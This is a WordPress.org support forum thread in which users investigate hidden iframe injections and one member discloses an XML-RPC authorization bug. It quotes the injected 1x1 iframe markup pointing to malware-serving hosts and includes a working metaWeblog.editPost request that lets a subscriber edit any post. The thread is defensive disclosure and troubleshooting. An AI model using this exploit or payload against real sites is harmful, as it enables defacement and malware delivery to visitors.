WordPress.org

Ready to get started?Download WordPress

Forums

iframe injection problem? (92 posts)

  1. pishmishy
    Member
    Posted 6 years ago #

    Not found the source yet, or confirmed that it's a current problem so there's no fix.
    What release of WordPress are you running?
    Are you able to determine when that code was inserted? It may have been in your code for a while and so may have been inserted whilst you were running an old copy of WordPress.

  2. knightlore
    Member
    Posted 6 years ago #

    I have found this code from a post dated the 1st Sept. still no word of a fix?

  3. serner
    Member
    Posted 6 years ago #

    One of my Blogs was injected in that way. I could figure it out in many ways:

    - there were many posts posted under administrator account over 3 months
    - also there were the mentioned iframe in many posts (IP as mentioned 61....)
    - and in existing posts (not admin) there were NOSCRIPT-tags with hidden URLS

    I was shocked at all as you can guess. WP version was the lastest before 2.3.1.. I updated now and made a complete new installation. I can not import the posts cause of the hacking things in it. I have to make that by hand.

    I don't think you should close the trac-ticket for this issue!

    I searched around how to get my blog more secure. So I made everything possible for me from this paper "How to create a secure wordpress install" from BlogSecurity.net. I subscribed to this blog to keep me up to date what to do against such attacks.

    I hope WordPress will do more for security issues. But also I think we have to do more things to get it more secure for ourselves.

  4. pishmishy
    Member
    Posted 6 years ago #

    No one has yet provided evidence that this is due to a problem in the current release, simply that they have posts which were altered at some point. This leads us to believe that you're seeing the results of an exploitation in an older, vulnerable, install that you've simply not noticed until now.

    It's not that the issue isn't taken seriously, just that we've got nothing but anecdotal accounts to work on, which aren't enough to reproduce this issue in the current release.

  5. Dave2W
    Member
    Posted 6 years ago #

    Since I'm running my WordPress blog with strict XHTML served as application/xhtml+xml, and since the injected code isn't valid XHTML, I wouldn't've missed the breakage when upgrading WordPress if it was there, and I only have one configured WordPress instance on my server. I keep my WordPress install up-to-date with stable releases via svn.

    Unfortunately I don't really have enough other than this to create a new ticket, but I'm fairly sure that this is the only WordPress install I have, and that the post was modified after upgrading to 2.3.1.

  6. Chris Roberts
    Member
    Posted 6 years ago #

    pishmishy,

    Has nothing to do with old exploits, though the problem may have been around a while judging by some of the reports. I've had the problem turn up again in one of my blogs running 2.3.1. The problem has happened fairly recently, though I can't pinpoint exactly when. Since I first noticed an injection I have checked my database from time to time to see if there have been any new injections. Nothing until now, some time after upgrading to 2.3.1.

    When I upgraded from 2.3 to 2.3.1 I took pains to make sure old files were not still lingering where they might cause problems. So the injection took place from the 2.3.1 code. I realize this information is not altogether helpful, but it's all I can offer.

  7. burchwords
    Member
    Posted 6 years ago #

    I upgraded from 2.3.1 to 2.3.2 and I noticed my website was hanging found that one of my post had the iframe connection to 61.132.75.71

    I'm not sure if this happened before or after the upgrade.

    Also, I installed a new theme, and I was going to make some changes to the code, and noticed some strange code in it. Thats when I started looking around to see any sneaky code was in the theme. I was right, that certain line of code was in the sidebar, header, footer and so on. After getting the sneaky code out of my theme. I noticed my website kept hanging, I thought I still had some bad code, when I did a search on the ip it was trying to connect to, I found th is thread about the iframe. Sure enough it was in a post about spyware I wrote some time ago.

  8. rawalex
    Member
    Posted 6 years ago #

    Same effect here. I upgraded everything to 2.3.2 and then noticed issues. The posts modified are older posts (nothing completely current, but stuff that was on the front page of the site) and in at least one case, I was able to confirm with google cache that the injection had occured before the 2.3.2 upgrade.

    The injection is 100% certainly via XMLRPC, because the posts are getting their character set maimed as well on the repost (they are using UTF-8, but I have some blogs set not to use it).

    I found this issue on a number of blogs over a number of databased with different usernames, passwords, db passwords, themes, layouts, and such. In some cases there were no additional users besides admin on the blog.

    I upgraded all of my blogs within hours of the 2.3.2 release (a ton of work, thanks) and I will be watching closely for any additional activity.

    It should be noted that Google does not like these frames, and it appears that they will pretty much remove your site from the SERPs if they find them on your pages.

  9. keithwp
    Member
    Posted 6 years ago #

    For what it's worth, this happened to me as well.

    Sometime between 10-31-2007 and today. AVG alerted one of my users today who reported

    "AVG antivirus pops up two warnings: one for JS/Downloader Agent, and one for 'Exploit.'"

    Also iframes, hosts (www.)wp-stats-php.info and 61.132.75.71, both serving up wp-stats.php. As soon as I did a whois on the domains and saw they were China, I knew something was afoot.

    I was either running wp version 2.2 OR 2.3.1, I simply can't narrow everything down. Even if I knew when I upgraded to 2.3.1, I still don't know when the attacker performed the SQL injection, or whatever it was.

    I used phpadmin to search the database for "wp-stats" and that located the troublesome posts.

    Is there any definitive answer yet as to how/why/only 2.2 was vulnerable, etc?

    Thanks

  10. rawalex
    Member
    Posted 6 years ago #

    I got it in 2.3.1 for sure.

  11. Samuel Wood (Otto)
    Tech Ninja
    Posted 6 years ago #

    We need to know more about how they're getting in. An exploit in WordPress is not the only way this sort of thing can happen.

    For example, if they ever gained read access to your wp-config.php file (and you didn't notice and change the password), then they have your database info and can simply insert the content directly, no need to go through your website at all.

    Somebody needs to look through their server logs and find out just what's happening when the content gets inserted. Email that information to security@wordpress.org as well as posting it here.

  12. AzzQim
    Member
    Posted 6 years ago #

    Hi! I found the same problem on my blog http://www.visoko.si/wp I'm running 2.2 WordPress with customized theme and on Hostgator account with Fantastico.
    Found two injections:

    <!-- Traffic Statistics --><iframe FRAMEBORDER="0" FRAMEBORDER="0" HEIGHT="1" WIDTH="1" SRC="http://www.wp-stats-php.info/iframe/wp-stats.php"></iframe> <!-- End Traffic Statistics -->

    and

    <!-- Traffic Statistics -->
    <iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe>
    <!-- End Traffic Statistics -->

  13. keithwp
    Member
    Posted 6 years ago #

    I'm checking with my shared hosting provider if I can get access to the mysql logs.

    In the interim, is there a way of determining when your particular wordpress installation was upgraded? Maybe looking at file dates? Or do database entries contain a version stamp of the WP that wrote it, etc?

    Thanks

  14. rawalex
    Member
    Posted 6 years ago #

    Otto42, I have seen how this is done,and it is pretty simple actually. The content appears to be changed during an edit started via xml-rpc. They are pulling the post, adding the code, and re-uploading the post back into place with the new code, all while NOT actually triggering an edit or update.

    There is no indication of direct connection to the database, which would be impossible anyway because my DBs are locked down and restricted to localhost access only. Thus the only way the can make the change is by executing code on the server.

    I have seen this on multiple blogs, each of which has different user and password combinations.

    This is a major issue. When google sees this on your pages, your blog goes immediately into their VERY bad last for linking to a bad neighborhood, for installing trojans, and as such, you lose pretty much all your traffic in very short order.

  15. keithwp
    Member
    Posted 6 years ago #

    While my host was of very little help, I've taken a couple steps to help mitigate future problems.

    I'm now backing up the db much more frequently, so I can compare and get an exact date when something was changed.

    I started blocking China (amongst other countries) from my website wholesale via .htaccess.

    I made a minor change to wp-db.php that records each and every query to a separate file with date/time and IP address stamps. My blog is not that busy/popular, and although its generating relatively large logs, space is available and cheap. Mind you, this is just sort of outbound queries to the database NOT the results from the queries. I tested both posts and edit posts, and if WP is being used in the commission of the crime, then I'll have an entry with some information. I've been grep'ing the logs for "iframe" and "wp-stats" which I think is a very good indication something funny is going on.

    thanks

  16. rawalex
    Member
    Posted 6 years ago #

    Keith, bad news for you: the guys doing this sort of thing use proxies and servers located in the US to cause the infection - the destination of the traffic is china (and then actually Russia... but that a longer story). So you can end up with these things all over your blog even if you have all of the eastern block and communist world blocked.

    If you are going to log queries, I would suggest only logging update and insert queries, to keep your log a little shorter. Otherwise you will end up with a huge log and it will be difficult to spot anything.

  17. lostpencil
    Member
    Posted 6 years ago #

    I too had this occur today. Kaspersky whined at me that I was trying to download a trojan when I went to my blog. Using phpAdmin search I found two 'wp-stats' injections and a 'noscript' injection as mentioned on this thread. So it seems to me that the injection directs you to a site that wants to download a trojan. I immediately upgraded to wp 2.3.2 (I was previously running 2.2).

    Since I don't get a lot of user comments I did find that the injection seems to correlate to a user making a comment. I received a moderation email from wordpress yesterday which looked really odd (and was the only one):

    A new comment on the post #3 "Welcome" is waiting for your approval
    http://www.lostpencil.com/wordpress/?p=3
    
    Author : +AFw-')/* (IP: 80.68.6.214 , 80.68.6.214)
    E-mail :
    URL    : http://ekibastos
    Whois  : http://ws.arin.net/cgi-bin/whois.pl?queryinput=80.68.6.214
    Comment:
    <strong>ekibastos</strong>
    
    ekibastos

    So I turned off comments. I suspect that the injection occured through making the comment. Just in case I also renamed the xmlrpc.php file in the wordpress directory... by the way, when is this file used by WordPress and will that break anything important?

    Anyway, I hope that helps.

    Cheers,
    Paul

  18. duskglow
    Member
    Posted 6 years ago #

    I just had this happen with me. Running 2.3.2, post was made on the 28th and injection happened sometime between then and about 3 today, so the problem is definitely in 2.3.2 or a plugin somewhere. I think it's in xmlrpc.

    These are the entries I believe are the culprit:

    200.244.21.61 - - [28/Jan/2008:13:10:28 -0500] "POST /xmlrpc.php HTTP/1.0" 200 2336 "-" "Opera/9.01 (Windows NT 5.0; U; en)"
    200.216.67.181 - - [28/Jan/2008:13:10:54 -0500] "POST /xmlrpc.php HTTP/1.0" 200 163 "-" "Opera/9.01 (Windows NT 5.0; U; en)"

    I have set up query logging as well, and I'm going to try to figure out how to set up POST logging too. But this is a problem that needs to be fixed.

  19. macsoft3
    Member
    Posted 6 years ago #

    I can see a problem at AzzQim's website. The permission on 'themes' folder is possibly set to 755, which makes folder content viewable and downloadable anyone. I see 'almost-spring' folder, fh-freedom-blue-01.zip and so forth.

  20. macsoft3
    Member
    Posted 6 years ago #

    'wp-includes' folder is open, too.

  21. whooami
    Member
    Posted 6 years ago #

    macsoft,

    you dont have much of a grip on permissions.

    Directories have to be 755 for the files inside of them to be accessed by the web server.

    Ive stated this in another thread you made waves about this in, but I will state it again here -- there is NO extra security risk with directories being chmod 755.

    Furthermore, that a given directory is browsable, merely means that Options All -Indexes has not been enabled in one's .htacces AND that there is no index file in the given directory.

  22. whooami
    Member
    Posted 6 years ago #

    duskglow, I am logging all _$POST variables sent to my blog.

    I think thats a great idea, given the current rash of troubles.

    Anyone that is interested in knowing how they too, can join the experiment, and get the code, can email me at whoo AT whoo.org

    Please be prepared to share the URL to your WP blog, just to show your sincere in your effort.

    While I hope to learn something, I might not since mod_security seems to catch everything that is malicious, but you never know.

  23. duskglow
    Member
    Posted 6 years ago #

    Actually, I think I just found the exploit. I don't want to publish it here. Can someone from wordpress please tell me where to post the info?

    Here's a hint. Turn off xmlrpc or close subscriptions IMMEDIATELY. Anyone who can subscribe to your blog can change ANY content if xmlrpc is enabled, and I just proved it.

  24. duskglow
    Member
    Posted 6 years ago #

    Ah, heck. I think this bug is being actively exploited, so I may as well, so you can protect yourself. Here's the post I sent to the xmlrpc list.

    I'm a little hesitant to post this here as it's a publically available list, but I think I just found a security hole in xmlrpc that is being actively exploited, and as such, may as well sound the alarm.

    the problem is in mw_editPost. It only validates that you can edit the post if the post_type is "post". But the post_type is exactly what you say it is, and it's easy to lie and say something is a page when it's actually a post, and edit it in the same way as a post (but while circumventing the checks). I think another routine has the same problem.

    I created an ordinary subscriber with no special permissions and uploaded a special rpcxml file:

    <?xml version="1.0"?>
    <methodCall>
    <methodName>metaWeblog.editPost</methodName>
    <params>
    <value><i4>283</i4></value>
    <value><string>test</string></value>
    <value><string>*pass*</string></value>
    <struct>
    <member>
    <name>post_type</name>
    <value>page</value>
    </member>
    <member>
    <name>title</name>
    <value>hacked</value>
    </member>
    <member>
    <name>post_content</name>
    <value>hacked</value>
    </member>
    </struct>
    </params>
    </methodCall>

    And was able to edit the post with ID 283, with nothing other than a subscriber account.

    I'm turning off subscriber right now, and recommend everyone do the same or disable xmlrpc until this is fixed.

  25. Dion Hulse
    WordPress Dev
    Posted 6 years ago #

    http://wordpress.org/about/contact/
    security@wordpress.org

    I see what you mean, and without testing for myself, you may be right.. However, You must now realise that its not just the major people who know the exploit now, but rather, all the script kiddies too.
    You could edit the posting, but, not sure how much that'll help right now.

  26. duskglow
    Member
    Posted 6 years ago #

    They already know about it. I went spelunking for this precisely because someone went changing my blog and I didn't know how. That's why I'm not too concerned about it, everyone who would cause problems has already found out. At least we're now on equal footing and know how to work around it.

    These kinds of things are always tricky.

    (well, not everyone - I am sure a few didn't know - but it was indeed being actively exploited.)

  27. Dion Hulse
    WordPress Dev
    Posted 6 years ago #

    (well, not everyone - I am sure a few didn't know - but it was indeed being actively exploited.)

    I wouldnt be supprised about that, But given its not been worked out until now, and this thread is 4 months old..

    If the exploit has been published, then it'd be fixed by now, the fact it hasnt been published(Security minded people do monitor the release lists/boards) says that its been kept close to certain groups, and probably sold off to someone who's been injecting these iframes.
    Skiddies who just want to wipe everyones blogs probably didnt know about it though, 2 different classes of attackers, One who wants to say invisible and reap the benefit of modifying posts, One who wants to cause chaos moreso.

    I'm not saying you've chosen the wrong thing to do however, You made the decision, and in this case it had to happen sooner or later, and you've chosen a WP support board rather than a security bullitin release that goes out to thousands of no-good-doers, So its definately better than worst case :)

    Like to say thanks to you from all those affected for figuring it out though.. Greatly appreciated by all i'm sure

  28. duskglow
    Member
    Posted 6 years ago #

    I know what you mean and it was a tough decision. If it had been something I had found with no indication that it was being exploited I would have definitely handled it way differently. Also, if there had been no easy way to work around this, I also would have handled it differently.

    Kind of a "darned if you do, darned if you don't" kinda thing.

  29. whooami
    Member
    Posted 6 years ago #

    tested this, and this does work. however my tester says your code is incorrect. the other notable thing is that the edited posts are changed to drafts.

  30. whooami
    Member
    Posted 6 years ago #

    there is a working proof of concept up here > [removed, please don't post PoCs until there is a fixed release available]

Topic Closed

This topic has been closed to new replies.

About this Topic